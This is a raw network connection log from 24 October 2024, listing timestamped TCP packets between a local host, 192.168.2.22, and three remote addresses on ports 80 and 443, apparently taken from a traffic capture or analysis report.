Oct 24, 2024 08:59:05.412501097 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.412519932 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.413314104 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.413347006 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.413372993 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.413379908 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.413391113 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.413429976 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.414269924 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.414304972 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.414354086 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.414354086 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.450875998 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.450964928 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.450998068 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.451047897 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.493974924 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.494024038 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.494065046 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.494160891 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.494160891 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.495390892 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.527479887 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.527532101 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.527574062 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.527678967 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.527678967 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.527678967 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.527844906 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.527893066 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.528115988 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.528151035 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.528167963 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.528192997 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.528633118 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.528667927 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.528692961 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.528702974 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.528712988 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.528748989 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.529545069 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.529578924 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.529613018 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.529632092 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.529654980 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.530523062 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.530556917 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.530576944 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.530590057 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.530596972 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.530635118 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.531554937 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.531589985 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.531614065 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.531632900 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.567831039 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.567893982 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.567955971 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.567990065 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.568031073 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.610692024 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.610759974 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.610766888 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.610841990 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.610943079 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.612495899 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.644419909 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.644519091 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.644527912 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.644552946 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.644706011 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.644706011 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.644965887 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.644999027 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.645035982 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.645549059 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.645584106 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.645590067 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.645617962 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.645617008 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.645653009 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.646431923 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.646466017 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.646476984 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.646498919 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.646500111 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.646533012 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.647280931 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.647325039 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.647336960 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.647370100 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.647372007 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.647399902 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.647403002 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.647433043 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.648266077 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.648299932 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.648332119 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.648341894 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.648365974 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.649199963 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.649235964 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.649245024 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.649270058 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.687072039 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.687125921 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.687333107 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.687381029 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.727705002 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.727870941 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.727922916 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.727929115 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.727957010 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.728204966 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.728243113 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.761368990 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.761464119 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.761497974 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.761641979 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.761641979 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.762047052 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.762084007 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.762119055 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.762125969 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.762152910 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.762829065 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.762861967 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.762877941 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.762892962 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.763273001 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.763305902 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.763309002 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.763345003 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.763870001 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.763902903 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.763937950 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.763947010 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.763973951 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.764663935 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.764697075 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.764708996 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.764729023 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.764729977 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.764763117 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.765579939 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.765621901 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:07.108670950 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:07.812659025 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:07.812724113 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:07.812798023 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:07.816016912 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:07.816044092 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:08.693137884 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:08.693212032 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:08.694679022 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:08.694736958 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:08.700504065 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:08.700536013 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:08.700965881 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:08.765871048 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:08.807332039 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:09.120867014 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:09.241132021 CEST	443	49166	216.58.212.174	192.168.2.22
Oct 24, 2024 08:59:09.241424084 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:09.243572950 CEST	49166	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:59:09.267491102 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:09.267544031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:09.267682076 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:09.267916918 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:09.267934084 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:10.133155107 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:10.133393049 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:10.137042999 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:10.137072086 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:10.137722015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:10.143009901 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:10.187338114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.549302101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.549418926 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.556988001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.557090044 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.665788889 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.665908098 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.665956974 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.666825056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.666889906 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.666904926 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.667932987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.667994022 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.668008089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.672492027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.672554016 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.672569036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.681157112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.681227922 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.681242943 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.689963102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.690071106 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.690084934 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.698478937 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.698542118 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.698555946 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.707348108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.707415104 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.707427979 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.715934038 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.715997934 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.716012001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.782991886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.783092976 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.783109903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.783710003 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.783792973 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.783813953 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.784970045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.785036087 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.785048962 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.789578915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.789664030 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.789676905 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.798290968 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.798360109 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.798388004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.808067083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.808139086 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.808151960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.815814018 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.815881968 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.815912008 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.824501991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.824595928 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.824609041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.833379984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.833463907 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.833473921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.833504915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.833564997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.899966002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.900150061 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.900233030 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.900252104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.900919914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.901002884 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.901015997 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.902136087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.902215004 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.902229071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.906289101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.906363010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.906378031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.915000916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.915074110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.915087938 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.925046921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.925122023 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.925136089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.932476044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.932552099 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.932565928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.941220045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.941340923 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.941355944 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.949899912 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:12.949975014 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:12.949989080 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.017292976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.017388105 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.017411947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.017513037 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.017570019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.017582893 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.018160105 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.018224001 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.018237114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.019206047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.019262075 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.019278049 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.023761988 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.023827076 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.023840904 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.032583952 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.032674074 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.032689095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.042756081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.042840004 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.042854071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.049922943 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.050014019 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.050026894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.058403015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.058574915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.058588982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.067246914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.067336082 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.067351103 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.068074942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.068149090 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.068161964 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.134454966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.134555101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.134571075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.135169029 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.135246038 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.135257959 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.135842085 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.135910988 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.135924101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.136555910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.136616945 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.136631012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.140841961 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.140909910 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.140923023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.149642944 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.149719000 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.149732113 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.160288095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.160368919 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.160382986 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.167429924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.167506933 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.167520046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.175885916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.175983906 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.175997019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.184412003 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.184510946 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.184524059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.226174116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.226269007 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:13.226289988 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.251816034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:13.251903057 CEST	49167	443	192.168.2.22	142.250.186.97
